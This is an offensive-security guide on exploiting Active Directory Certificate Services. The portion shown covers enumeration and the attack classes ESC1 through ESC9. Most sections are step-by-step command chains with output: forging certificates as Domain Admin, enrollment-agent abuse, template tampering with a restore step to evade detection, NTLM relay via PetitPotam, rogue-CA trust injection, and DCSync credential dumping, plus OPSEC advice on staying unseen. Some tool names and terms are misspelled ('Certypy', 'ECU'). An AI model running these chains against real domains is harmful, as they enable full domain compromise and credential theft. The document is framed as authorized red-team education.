



◆ OFFENSIVE SECURITY SERIES ◆

ADCS Exploitation

Active Directory Certificate Services — Complete Red Team Guide

ESC1-ESC16 (All Classes) · ESC12 · ESC13 · Shadow Creds · Golden Cert · RBCD Combo

Certipy

Certify

Rubeus

PKINIT

ESC1-ESC16

ESC12/ESC13

Shadow Creds

Golden Cert

RBCD Combo

SharpDPAPI

Whisker

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>



LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) strictly for educational purposes.
All ADCS attack techniques MUST only be used in authorized red team engagements with written permission.
Attacking PKI/AD infrastructure without authorization is a serious criminal offense in all jurisdictions.
RTG assumes zero liability for misuse. Authorized testing ONLY.



TABLE OF CONTENTS

ADCS Exploitation — Complete Red Team Guide

01.	INTRODUCTION — WHY ADCS IS THE NEW CROWN JEWEL
02.	ADCS FUNDAMENTALS — PKI, CERTIFICATES & CA ARCHITECTURE
03.	ATTACK SURFACE MAP — ESC1 THROUGH ESC16 COMPLETE OVERVIEW
04.	RECON — ENUMERATING ADCS WITH CERTIPY & CERTIFY
05.	ESC1 — MISCONFIGURED CERTIFICATE TEMPLATES
06.	ESC2 — ANY PURPOSE EKU & SUBORDINATE CA ABUSE
07.	ESC3 — ENROLLMENT AGENT TEMPLATE ABUSE
08.	ESC4 — VULNERABLE CERTIFICATE TEMPLATE ACCESS CONTROL
09.	ESC5 — VULNERABLE PKI OBJECT ACCESS CONTROL
10.	ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
11.	ESC7 — VULNERABLE CERTIFICATE AUTHORITY ACCESS CONTROL
12.	ESC8 — NTLM RELAY TO AD CS HTTP ENDPOINTS
13.	ESC9 — NO SECURITY EXTENSION
14.	ESC10 — WEAK CERTIFICATE MAPPING
15.	ESC11 — NTLM RELAY TO ICPR (RPC RELAY)
16.	ESC14 — WRITE ACCESS ON ALTSECURITYIDENTITIES
17.	ESC15 — APPLICATION POLICY INJECTION (CVE-2024-49019)
18.	ESC16 — SECURITY EXTENSION DISABLED ON CA GLOBALLY
18b.	ESC12 — UNPAC-THE-HASH VIA PKINIT (ACCOUNT PERSISTENCE)
18c.	ESC13 — ISSUANCE POLICY OID GROUP LINK
19.	SHADOW CREDENTIALS — KEY CREDENTIAL LINK ABUSE
20.	GOLDEN CERTIFICATE — FORGING CERTS WITH STOLEN CA KEY
21.	PASS-THE-CERTIFICATE — PKINIT & S4U2SELF CHAIN
21b.	ADCS + RBCD COMBO CHAIN — MACHINE CERT TO FULL HOST ACCESS
22.	CROSS-FOREST ATTACKS — ADCS PRIVILEGE ESCALATION
23.	POST-EXPLOITATION — PERSISTENCE VIA ADCS
24.	OPSEC — STAYING UNDER THE RADAR
25.	DETECTION — BLUE TEAM INDICATORS & SIEM QUERIES
26.	MITIGATIONS & HARDENING



27. QUICK REFERENCE — COMPLETE COMMAND CHEAT SHEET

◆ 01

INTRODUCTION — MODERN AD CS ATTACKS

Why AD CS is the New Crown Jewel of Active Directory

Active Directory Certificate Services (AD CS) is Microsoft's PKI implementation — and it is arguably the most consistently misconfigured, highest-impact attack surface in enterprise Active Directory environments today. A single misconfigured certificate template can allow a low-privileged domain user to escalate to Domain Admin in under 60 seconds — with no CVE required, using only built-in Windows tooling.

Discovered and systematically documented by Will Schroeder and Lee Christensen in their landmark 2021 whitepaper 'Certified Pre-Owned', the original ESC1-ESC8 attack classes exposed decade-old misconfigurations sitting silently in nearly every enterprise domain. Since then the research community has continued expanding — ESC9 through ESC16 — with new classes being discovered and weaponized regularly. This guide covers ALL of them.

CRITICAL

AD CS attacks require NO exploits — they abuse LEGITIMATE Windows PKI functionality.
Most enterprise environments have at least one exploitable ESC condition — often several.
ESC1 alone observed in > 95% of enterprise AD CS deployments tested in the wild.
Domain Admin via ESC1: average time from initial foothold = 60 seconds.
ESC16 (2024) — a single CA flag disables security for ALL certs in the entire domain.

Why AD CS is Uniquely Dangerous

- ◆ Certificates survive password resets — stolen cert = persistent access even after full cred rotation
- ◆ No MFA bypass needed — certificates ARE the authentication mechanism (PKINIT)
- ◆ Operates entirely within legitimate Windows/AD APIs — no malware, no AV/EDR detection
- ◆ Affects every AD environment with AD CS installed — which covers the vast majority of enterprises
- ◆ Certificate abuse leaves minimal logs compared to traditional credential-based lateral movement
- ◆ Can forge tickets (Golden Cert), persist as CA (rogue sub-CA), escalate cross-forest
- ◆ Works from both Windows (Rubeus, Certify, Whisker) and Linux (Certipy, impacket)
- ◆ ESC16 disables the szOID_NTDS_CA_SECURITY_EXT security extension globally at CA level



◆ 02

ADCS FUNDAMENTALS

PKI, Certificates & CA Architecture

Before attacking, understand what you're attacking. AD CS implements a full PKI hierarchy within Active Directory. Every certificate issued by an Enterprise CA is backed by AD objects, ACLs, and OIDs that red teamers can abuse.

Core PKI Concepts

Component	Description	Attacker Relevance
Certificate Authority (CA)	Issues and signs certificates; Root/Sub CA hierarchy	Steal CA key = Golden Cert
Certificate Template	AD object defining what a cert can be used for	Most ESC classes target templates
Extended Key Usage (EKU)	OID defining certificate purpose	Client Auth EKU = PKINIT abuse
Subject Alternative Name (SAN)	Additional identities in cert	SAN=Administrator → ESC1
PKINIT	Kerberos pre-auth via certificate	Cert → TGT → Domain Admin
msDS-KeyCredentialLink	WHfB / FIDO2 key binding attribute	Shadow Credentials attack path
altSecurityIdentities	Explicit cert-to-account binding attribute	ESC14 abuse vector
szOID_NTDS_CA_SECURITY_EXT	Security extension binding cert to requester SID	ESC9/ESC16 bypass
NTLM Relay	Relay auth to CA HTTP/RPC endpoint	ESC8/ESC11 — no creds needed

03

ATTACK SURFACE MAP

ESC1 Through ESC16 — Complete Overview

ESC #	Vulnerability Condition	Required Access	Primary Tool
ESC1	ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU + low-priv enroll	Domain User	Certipy / Certify
ESC2	Any Purpose EKU or no EKU + low-priv enroll	Domain User	Certipy / Certify
ESC3	Enrollment Agent template + vulnerable EA cert template	Domain User	Certipy
ESC4	Write/Owner rights on certificate template AD object	GenericWrite on template	Certipy / ADSI
ESC5	Write rights on CA object, PKI container, or OID objects	GenericWrite on PKI obj	BloodHound + manual
ESC6	EDITF_ATTRIBUTESUBJECTALTNAME2 flag set on CA	Domain User + Enroll	Certipy
ESC7	ManageCA or ManageCertificates on CA	ManageCA right	Certipy
ESC8	Web Enrollment / CES without HTTPS+EPA	Network access	ntlmrelayx + Certipy
ESC9	CT_FLAG_NO_SECURITY_EXTENSION + GenericWrite on account	GenericWrite	Certipy
ESC10	Disabled StrongCertificateBindingEnforcement + GenericWrite	GenericWrite	Certipy
ESC11	NTLM relay to ICertPassage RPC without encryption	Network access	Certipy relay
ESC14	Write access on altSecurityIdentities attribute	GenericWrite on account	Certipy
ESC15	Schema v1 template with ENROLLEE_SUPPLIES_SUBJECT (CVE-2024-49019)	Domain User	Certipy 4.8+
ESC16	szOID_NTDS_CA_SECURITY_EXT disabled at CA level globally	Domain User + Enroll	Certipy

RTG OPSEC

ESC16 is the 2024 evolution of ESC9 — but operates at CA level, affecting ALL templates simultaneously.
 ESC3 requires two-step exploitation: first get an Enrollment Agent cert, then impersonate any user.
 ESC5 covers CA/PKI container ACLs — often overlooked but gives path to template manipulation.
 ESC11 is ESC8's RPC sibling — targets ICertPassage RPC instead of HTTP endpoints.
 ESC14 explicitly maps attacker-controlled certs to high-privileged accounts via altSecurityIdentities.

04

RECON — ENUMERATING ADCS

Certypy, Certify & Manual Enumeration

Before launching any ADCS attack, thorough enumeration is essential. Certypy (Python/Linux) and Certify (.NET/Windows) are the two primary tools. Both identify vulnerable templates, CA configurations, and provide a clear attack path including ESC16 detection.

Certypy — Full Domain Enumeration

```
attacker@kali:~/adcs - Certypy Recon

# Install Certypy (4.8+ for ESC15/ESC16 support)
$ pip install certypy-ad

# Full ADCS enumeration — finds ALL ESC classes
$ certypy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[!] Vulnerable to ESC1: Template 'UserAuthentication'
[!] Vulnerable to ESC3: Template 'EnrollmentAgent' + 'UserAuthentication'
[!] Vulnerable to ESC6: CA 'corp-CA' (EDITE_ATTRIBUTESUBJECTALTNAME2)
[!] Vulnerable to ESC8: CA 'corp-CA' has HTTP Web Enrollment enabled (no EPA)
[!] Vulnerable to ESC11: CA 'corp-CA' RPC endpoint not requiring encryption
[!] Vulnerable to ESC16: CA 'corp-CA' — szOID_NTDS_CA_SECURITY_EXT disabled
[+] Exporting results to 'corp_Certypy.json'

# Save BloodHound-compatible output
$ certypy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 -bloodhound

# Enumerate with hash (no cleartext password needed)
$ certypy find -u john@corp.local -hashes ':aad3b435b51404eeaad3b435b51404ee' -dc-ip 10.10.10.10
```

Figure: Certypy full domain ADCS enumeration — ESC1, ESC3, ESC6, ESC8, ESC11, ESC16 identified

Certify — Windows Enumeration

```
CORP\john@WIN10 - PowerShell

PS C:\> .\Certify.exe find /vulnerable

[*] Action: Find certificate templates
[*] Using search base 'CN=Configuration,DC=corp,DC=local'

[!] Vulnerable Certificates Templates:
CA Name           : corp\corp-CA
Template Name      : UserAuthentication
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
pkiextendedkeyusage : Client Authentication
Enrollment Rights  : CORP\Domain Users

PS C:\> .\Certify.exe find /vulnerable /showAllPermissions
[!] Template 'EnrollmentAgent'
Enrollment Rights : CORP\Domain Users
EKU                : Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)

[!] Template 'UserAuthentication'
Enrollment Rights : CORP\Domain Users
EKU                : Client Authentication
Application Policy : Certificate Request Agent
```

Figure: Certify.exe finding ESC1 and ESC3 templates — Enrollment Agent + Client Auth

RTG TIP

Run 'certipy find' FIRST — it maps your entire ADCS attack surface in a single command.
BloodHound ADCS edges: Enroll, GenericWrite on templates, AddKeyCredentialLink.
Certipy 4.8+ detects ESC15 and ESC16 — make sure you're on latest version.
Check all CAs — multi-CA environments often have mismatched security configs.

05

ESC1 — MISCONFIGURED CERTIFICATE TEMPLATES

Domain User → Domain Admin in 60 Seconds

ESC1 is the most impactful and most common AD CS vulnerability. When a certificate template allows the enrollee to specify a Subject Alternative Name (SAN), has Client Authentication EKU, and is enrollable by Domain Users — any domain user can request a certificate as ANY domain identity including Domain Admin or krbtgt.

Condition	AD Attribute / Flag	Value Required
Enrollee supplies subject	msPKI-Certificate-Name-Flag	ENROLLEE_SUPPLIES_SUBJECT (0x1)
Client Authentication EKU	pkiextendedkeyusage	1.3.6.1.5.5.7.3.2
Low-privilege enrollment	Security descriptor / ACL	Domain Users have Enroll right

ESC1 — Linux (Certipy)

```
attacker@kali:~/adcs - ESC1

# Request certificate as Administrator (from low-priv user john)
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -template UserAuthentication -upn administrator@corp.local

[*] Requesting certificate via RPC
[+] Successfully requested certificate
[+] Request ID is 47
[+] Saved certificate and private key to 'administrator.pfx'

# Authenticate — PKINIT → TGT + NT hash
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

[*] Using principal: administrator@corp.local
[+] Got TGT — saved to 'administrator.ccache'
[+] Got hash: aad3b435b51404eeaad3b435b51404ee:8846f7eaae8fb117ad06bdd830b7586c

# DCSync with NT hash
$ impacket-secretsdump 'corp.local/administrator@10.10.10.10' -hashes ':8846f7eaae8fb117ad06bdd830b7586c'
[+] corp.local\Administrator:500:aad3b...:8846f7eaae8fb117ad06bdd830b7586c:::
[+] corp.local\krbtgt:502:aad3b...:1f8e2f6e4bcd...:::
```

Figure: ESC1 full attack — certificate request as Administrator, PKINIT auth, NT hash, DCSync

ESC1 — Windows (Certify + Rubeus)

```
CORP\john@WIN10 - Certify + Rubeus

# Request cert as Domain Admin using Certify.exe
PS C:\> .\Certify.exe request /ca:corp\corp-CA /template:UserAuthentication /altname:administrator

[+] Certificate request successful!
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAlv3... (truncated)

# Convert PEM to PFX
PS C:\> openssl pkcs12 -in cert.pem -keyex -CSP 'Microsoft Enhanced Cryptographic Provider v1.0' -export -o

# PKINIT → inject TGT into session
PS C:\> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:'' /ptt

[*] Action: Ask TGT
[+] TGT request successful
[+] Ticket successfully imported! LUID: 0x3e7

PS C:\> dir \\dc.corp.local\C$
[+] Domain Admin access confirmed via ESC1 cert
```

Figure: ESC1 on Windows — Certify request → Rubeus PKINIT → direct DA access to DC shares

RTG OPSEC

ESC1 is silent — cert request looks like a normal user enrollment in CA logs.
The issued cert persists even after password change — valid until cert expiry.
If Client Auth EKU is absent but Smart Card Logon (1.3.6.1.4.1.311.20.2.2) present — still exploitable.
Machine templates enrollable by Domain Computers open additional ESC1 paths via RBCD.

◆ 06

ESC2 — ANY PURPOSE ECU & SUBORDINATE CA ABUSE

Wildcard Certificate Exploitation

ESC2 targets templates with the 'Any Purpose' ECU (OID 2.5.29.37.0) or templates with no ECU at all. These certificates can be used for any purpose including Client Authentication — making them universally weaponizable. The 'SubCA' template, which ships with AD CS, is a common ESC2 candidate and is frequently left enrollable by Domain Users.

ESC2 — Certipy Attack

```
attacker@kali:~/adcs - ESC2

# Find ESC2 templates
$ certipy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 2>/dev/null | grep -A8 'ESC2'

[!] Template 'SubCA' - Vulnerable to ESC2
    Any Purpose ECU / No ECU restriction
    Enrollment Rights: CORP\Domain Users

# Request Any Purpose cert specifying admin UPN as SAN
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -template SubCA -upn administrator@corp.local

[*] Requesting certificate via RPC
[+] Saved certificate and private key to 'administrator.pfx'

# PKINIT auth -> TGT + hash
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
[+] Got hash for 'administrator@corp.local': aad3b...:8846f7eae8fb117ad06bdd830b7586c
```

Figure: ESC2 attack exploiting Any Purpose ECU on SubCA template — identical path to ESC1

RTG NOTE

'SubCA' template with Domain User enrollment rights is a classic ESC2 — extremely common. No-ECU certs are often created for internal testing and forgotten — audit ALL templates. ESC2 exploitation is identical to ESC1 once you have the cert — same PKINIT → TGT chain. Any Purpose ECU also allows code signing abuse — certs can sign binaries for WDAC bypass.

07

ESC3 — ENROLLMENT AGENT TEMPLATE ABUSE

Two-Stage Attack: Agent Cert → Enroll On Behalf Of Any User

ESC3 is a two-stage attack. Stage 1: obtain an Enrollment Agent certificate from a template with the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1). Stage 2: use that Enrollment Agent cert to request certificates ON BEHALF OF any domain user — including Domain Admin — from a second vulnerable template. This completely bypasses the need for the target account's credentials.

Stage	Template Required	EKU Required	Action
Stage 1 — Get EA cert	Enrollment Agent template	Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)	Enroll as yourself
Stage 2 — Enroll as DA	Any Client Auth template	Client Authentication	Enroll ON BEHALF OF administrator

ESC3 Full Chain — Certipy (Linux)

```
attacker@kali:~/adcs - ESC3 Two-Stage

# Stage 1: Request Enrollment Agent certificate
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -template EnrollmentAgent

[*] Requesting certificate via RPC
[+] Saved certificate and private key to 'john_ea.pfx'
[*] Certificate has EKU: Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)

# Stage 2: Use EA cert to enroll ON BEHALF OF administrator
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -template User -on-behalf-of 'corp\administrator' \
  -pfx john_ea.pfx

[*] Requesting certificate on behalf of 'corp\administrator'
[*] Using Enrollment Agent certificate
[+] Saved certificate and private key to 'administrator.pfx'

# PKINIT auth with administrator's cert
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
[+] Got TGT for administrator@corp.local
[+] NT hash: aad3b...:8846f7eae8fb117ad06bdd830b7586c
```

Figure: ESC3 full chain — Stage 1: get Enrollment Agent cert; Stage 2: enroll as Domain Admin

ESC3 — Windows (Certify)

```
CORP\john@WIN10 - ESC3 via Certify

# Stage 1: Request Enrollment Agent certificate
PS C:\> .\Certify.exe request /ca:corp\corp-CA /template:EnrollmentAgent
[+] Saved Enrollment Agent certificate

# Stage 2: Certify request on behalf of DA using EA cert
PS C:\> .\Certify.exe request /ca:corp\corp-CA /template:User \
/onbehalfof:corp\administrator /enrollcert:ea_cert.pfx /enrollcertpw:''

[*] Action: Request a Certificate on behalf of another user
[*] Enrollment Agent Certificate: ea_cert.pfx
[+] Certificate successfully requested for corp\administrator

PS C:\> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /ptt
[+] TGT successfully imported
[+] Domain Admin access achieved via ESC3
```

Figure: ESC3 on Windows — Certify two-stage Enrollment Agent abuse

CRITICAL

ESC3 requires TWO vulnerable templates — both must be present for the full chain to work.
Check: does 'EnrollmentAgent' template allow Domain Users to enroll? That alone is a critical finding.
Stage 2 template can be ANY template with Client Auth EKU — not just ESC1-vulnerable ones.
ESC3 chains perfectly with ESC1: if Stage 2 template allows SAN spoofing, even more powerful.

08

ESC4 — VULNERABLE CERTIFICATE TEMPLATE ACCESS CONTROL

Write Access → Template Modification → Instant ESC1

ESC4 exploits weak ACLs on certificate template AD objects. If a low-privilege user has Write, WriteDACL, WriteOwner, or FullControl over any template object, they can modify its msPKI-Certificate-Name-Flag to introduce ESC1 conditions, exploit it, then optionally restore original settings to evade detection. Certipy handles the full chain automatically.

ESC4 Full Attack — Certipy

```
attacker@kali:~/adcs - ESC4

# Step 1: Identify template with vulnerable ACL
$ certipy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10
[!] Template 'ITTeamTemplate' - Vulnerable to ESC4
    Write Owner: CORP\john (GenericWrite / WriteOwner)

# Step 2: Overwrite template to introduce ESC1 conditions (saves original)
$ certipy template -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
    -template ITTeamTemplate -save-old

[*] Saved original configuration to 'ITTeamTemplate.json'
[+] Updated 'ITTeamTemplate' - ENROLLEE_SUPPLIES_SUBJECT + Client Auth injected

# Step 3: Exploit as ESC1
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
    -ca corp-CA -template ITTeamTemplate -upn administrator@corp.local
[+] Saved certificate to 'administrator.pfx'

# Step 4: RESTORE original template config (OPSEC - no permanent change)
$ certipy template -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
    -template ITTeamTemplate -configuration ITTeamTemplate.json
[+] Successfully restored 'ITTeamTemplate' to original configuration

# Step 5: PKINIT auth
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
[+] NT hash: aad3b...:8846f7eae8fb117ad06bdd830b7586c
```

Figure: ESC4 — modify vulnerable template, exploit as ESC1, restore original to avoid detection

RTG OPSEC

ESC4 + restore = extremely stealthy — no permanent template modification left in AD.
 Certipy -save-old flag automatically saves original config before overwriting.
 BloodHound shows ESC4 paths as 'GenericWrite' edges pointing at certificate template nodes.
 WriteDACL on a template is even more powerful — you can grant yourself enroll + write rights.

09

ESC5 — VULNERABLE PKI OBJECT ACCESS CONTROL

Write Access on CA / PKI Container Objects

ESC5 covers misconfigured ACLs on PKI-related Active Directory objects ABOVE the template level — specifically the CA object itself, the Public Key Services container, the NTAAuthCertificates object, and Enrollment Services objects. Write access on these objects can lead to CA compromise, unauthorized CA trust injection, or escalation to ESC1/ESC6 conditions without touching templates directly.

Vulnerable Object	DN Location	Exploit Impact
CA AD Object	CN=,CN=Certification Authorities,CN=Public Key Services,...	Modify CA object → inject fake CA cert
NTAuthCertificates	CN=NTAuthCertificates,CN=Public Key Services,...	Add rogue CA → all its certs trusted for PKINIT
Enrollment Services	CN=Enrollment Services,CN=Public Key Services,...	Modify CA enrollment endpoints
PKI OID Container	CN=OID,CN=Public Key Services,...	Inject policy OIDs for ESC13-style abuse
Certificate Templates container	CN=Certificate Templates,...	Add/modify templates without per-template perms

ESC5 — Enumeration & NTAAuthCertificates Abuse

```

attacker@kali:~/adcs - ESC5

# Check ACLs on PKI objects via BloodHound or manual LDAP
$ ldapsearch -x -H ldap://dc.corp.local -D 'john@corp.local' -w 'Password123' \
  -b 'CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local' \
  '(objectClass=*)' nTSecurityDescriptor | head -80

# Check NTAAuthCertificates — which CAs are trusted for PKINIT
$ certipy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
[!] ESC5: CORP\john has GenericWrite on CN=Enrollment Services,CN=Public Key Services,...

# If GenericWrite on NTAAuthCertificates — add rogue CA cert (makes our forged certs trusted)
# First: create self-signed CA cert
$ openssl req -x509 -newkey rsa:4096 -keyout rogue_ca.key -out rogue_ca.crt -days 3650 -nodes \
  -subj '/CN=Rogue-CA/DC=corp/DC=local'

# Add rogue CA cert to NTAAuthCertificates (requires write access to object)
$ python3 -c "
from impacket.ldap import ldap
# Connect and modify cACertificate attribute on NTAAuthCertificates
# This makes all certs signed by rogue CA trusted for PKINIT domain-wide
"

# Verify rogue CA added
$ certutil -viewstore -enterprise NTAAuth
[+] Rogue CA cert found in NTAAuthCertificates — PKINIT trust established

```

Figure: ESC5 — GenericWrite on PKI container objects; NTAAuthCertificates poisoning for rogue CA trust

CRITICAL

ESC5 via NTAAuthCertificates = the most impactful PKI attack — entire domain trusts your forged certs. GenericWrite on Enrollment Services can modify CA dnsHostName → redirect cert requests. BloodHound 4.3+ includes ESC5-style edges on PKI container objects. This is often overlooked — admins focus on template ACLs but forget PKI container ACLs.

10

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

CA-Level Flag That Breaks ALL Templates Simultaneously

ESC6 is a CA-level misconfiguration. When the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on a CA, it allows ANY requester to specify a Subject Alternative Name in ANY certificate request — regardless of what the template allows. This transforms every enrollable template into an ESC1 equivalent in a single setting.

ESC6 Detection & Exploitation

```
attacker@kali:~/adcs - ESC6

# Detect ESC6 via Certipy
$ certipy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10
[!] CA 'corp-CA' is vulnerable to ESC6
    EDITF_ATTRIBUTESUBJECTALTNAME2 flag is SET

# Verify via certutil on Windows (requires access to CA server)
PS C:\> certutil -config 'dc.corp.local\corp-CA' -getreg policy\EditFlags
    EDITF_ATTRIBUTESUBJECTALTNAME2 -- 262144 (0x40000) [SET]

# Exploit: use ANY enrollable template — inject admin SAN
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
    -ca corp-CA -template User -upn administrator@corp.local

[+] Saved certificate to 'administrator.pfx'

# PKINIT auth
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
[+] NT hash: aad3b...:8846f7eae8fb117ad06bdd830b7586c

# Remediation — remove flag (requires CA admin)
PS C:\CA> certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
PS C:\CA> net stop certsrv && net start certsrv
```

Figure: ESC6 — single CA flag makes every template exploitable; certutil remediation command shown

RTG WARNING

ESC6 is often set by admins who wanted 'flexible cert issuance' without knowing the security impact. Microsoft issued KB5014754 (May 2022) to harden this — many orgs still haven't deployed it. Unlike ESC1, ESC6 works against ANY template — no need to find ENROLLEE_SUPPLIES_SUBJECT. Check all CAs in a multi-CA environment — flag may only be set on subordinate CAs.

11

ESC7 — VULNERABLE CERTIFICATE AUTHORITY ACCESS CONTROL

ManageCA Rights → Enable ESC6 → Full Domain Compromise

ESC7 targets weak ACLs on the Certificate Authority object itself. If a low-privilege user holds ManageCA or ManageCertificates rights on the CA, they can make sweeping configuration changes remotely — including enabling the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (creating ESC6), approving pending certificate requests, and issuing certificates directly.

CA Right	Permission Allows	Attack Chain
ManageCA	Modify CA configuration, enable/disable flags	Enable ESC6 → exploit any template as DA
ManageCertificates	Issue/revoke certs, approve pending requests	Approve your own ESC1 request if manager approval enabled
Enroll	Request certificates	Standard ESC1/ESC2/ESC3 exploitation

ESC7 Attack — ManageCA to ESC6

```

attacker@kali:~/adcs - ESC7

# Check if low-priv user has ManageCA rights
$ certipy find -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10
[!] CA 'corp-CA' - Vulnerable to ESC7
    ManageCA: CORP\john

# Use ManageCA right to enable EDITF_ATTRIBUTESUBJECTALTNAME2 (creates ESC6)
$ certipy ca -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2

[*] Connecting to CA 'corp-CA'
[+] Successfully enabled EDITF_ATTRIBUTESUBJECTALTNAME2 on 'corp-CA'

# Now exploit as ESC6 - any template works
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -template User -upn administrator@corp.local
[+] Saved certificate to 'administrator.pfx'

# Authenticate
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
[+] NT hash: aad3b...:8846f7eae8fb117ad06bdd830b7586c

# ESC7 - ManageCertificates variant: approve a pending ESC1 cert request
$ certipy ca -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -issue-request 52
[+] Successfully issued request 52
$ certipy req -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -ca corp-CA -retrieve 52
[+] Certificate for administrator retrieved

```

Figure: ESC7 — ManageCA right used to enable ESC6 globally; ManageCertificates used to approve pending ESC1 request

CRITICAL

ManageCA is often delegated to helpdesk or PKI operators — audit who has this right. ESC7 → ESC6 chain is one of the most powerful: a single user right = entire domain at risk. ManageCertificates variant is useful when a template requires manager approval (blocks direct ESC1). After engagement: disable the flag and alert client to audit ManageCA delegations immediately.

12

ESC8 — NTLM RELAY TO AD CS HTTP ENDPOINTS

No Credentials Required — Pure Network Relay Attack

ESC8 requires no credentials and no enrollment rights. It relays NTLM authentication from a domain machine (coerced via PetitPotam, PrinterBug, or Coerce.py) to the AD CS Web Enrollment or Certificate Enrollment Web Service HTTP endpoint. The relay produces a certificate for the relayed identity — typically the Domain Controller computer account — enabling DCSync.

ESC8 Full Attack — PetitPotam + ntlmrelayx

```
attacker@kali:~/adcs - ESC8 Full Chain

# Terminal 1: Start ntlmrelayx targeting AD CS Web Enrollment
$ impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
  --adcs --template DomainController -smb2support

[*] Protocol Client HTTP loaded..
[*] Servers started, waiting for connections

# Terminal 2: Coerce DC NTLM auth via PetitPotam (authenticated variant)
$ python3 PetitPotam.py -u john -p 'Password123' -d corp.local \
  10.10.10.5 10.10.10.10

[+] Attempting to trigger authentication from DC (10.10.10.10)

# Terminal 1 - relay catches DC$ auth, gets cert
[*] SMBD-Thread: Connection from CORP/DC$@10.10.10.10
[*] Relaying to http://ca.corp.local/certsrv/certfnsh.asp
[+] HTTPD: Certificate request submitted
[+] Got certificate for 'DC$' - Base64 cert saved

# Decode base64 cert to PFX
$ echo 'MIIRTAIBAzCC...' | base64 -d > DC.pfx

# Use DC$ cert - PKINIT + DCSync
$ certipy auth -pfx DC.pfx -dc-ip 10.10.10.10
[+] Got TGT for DC$@corp.local

$ impacket-secretsdump -k -no-pass dc.corp.local
[+] Administrator:500:aad3b...:8846f7eae8fb117ad06bdd830b7586c:::
```

Figure: ESC8 full chain — PetitPotam coercion → relay → DC\$ cert → PKINIT → DCSync

CRITICAL

ESC8 works with ANY coercion: PrinterBug (MS-RPRN), PetitPotam (MS-EFSRPC), DFSCoerce, Coerce.py. Check Web Enrollment at: <http://ca/certsrv/> — if it loads a login page, likely vulnerable to ESC8. Enable HTTPS + EPA on certsrv to remediate. Or disable Web Enrollment if not needed. You can also relay workstation NTLM — not just DCs. Lower privs but still impactful certs.

13

ESC9 — NO SECURITY EXTENSION

UPN Manipulation via Template Flag — GenericWrite Required

ESC9 exploits certificate templates with the CT_FLAG_NO_SECURITY_EXTENSION flag set (msPKI-Enrollment-Flag value). When this flag is present, the CA does NOT embed the szOID_NTDS_CA_SECURITY_EXT extension (which binds the cert to the requester's SID) in issued certificates. Combined with GenericWrite on a target account, an attacker can temporarily change that account's UPN, request a cert, restore the UPN, then authenticate as the UPN value in the cert — bypassing the SID binding.

ESC9 Attack Chain — Certipy

```
attacker@kali:~/adcs - ESC9

# Precondition: GenericWrite on 'victim' account (obtainable via DACL abuse, Shadow Creds, etc.)

# Step 1: Change victim's UPN to administrator (UPN will be embedded in cert)
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -user victim -upn administrator
[+] Updated userPrincipalName of 'victim' to 'administrator'

# Step 2: Request cert AS victim (UPN in cert will say 'administrator')
$ certipy req -u victim@corp.local -p 'victimpass123' -dc-ip 10.10.10.10 \
  -ca corp-CA -template VulnTemplate
[+] Saved certificate to 'victim.pfx'
[*] Certificate UPN: administrator (no security extension → no SID binding)

# Step 3: IMMEDIATELY restore victim's UPN (OPSEC — minimize exposure window)
$ certipy account update -u john@corp.local -p 'Password123' -dc-ip 10.10.10.10 \
  -user victim -upn victim@corp.local
[+] Restored UPN to 'victim@corp.local'

# Step 4: Authenticate with cert — DC maps UPN to 'administrator' (no SID check)
$ certipy auth -pfx victim.pfx -domain corp.local -dc-ip 10.10.10.10
[*] Certificate UPN: administrator
[+] Got TGT for administrator@corp.local
[+] NT hash: aad3b...:8846f7eae8fb117ad06bdd830b7586c
```

Figure: ESC9 — temp UPN change on victim account gets admin cert; no security extension = no SID binding check

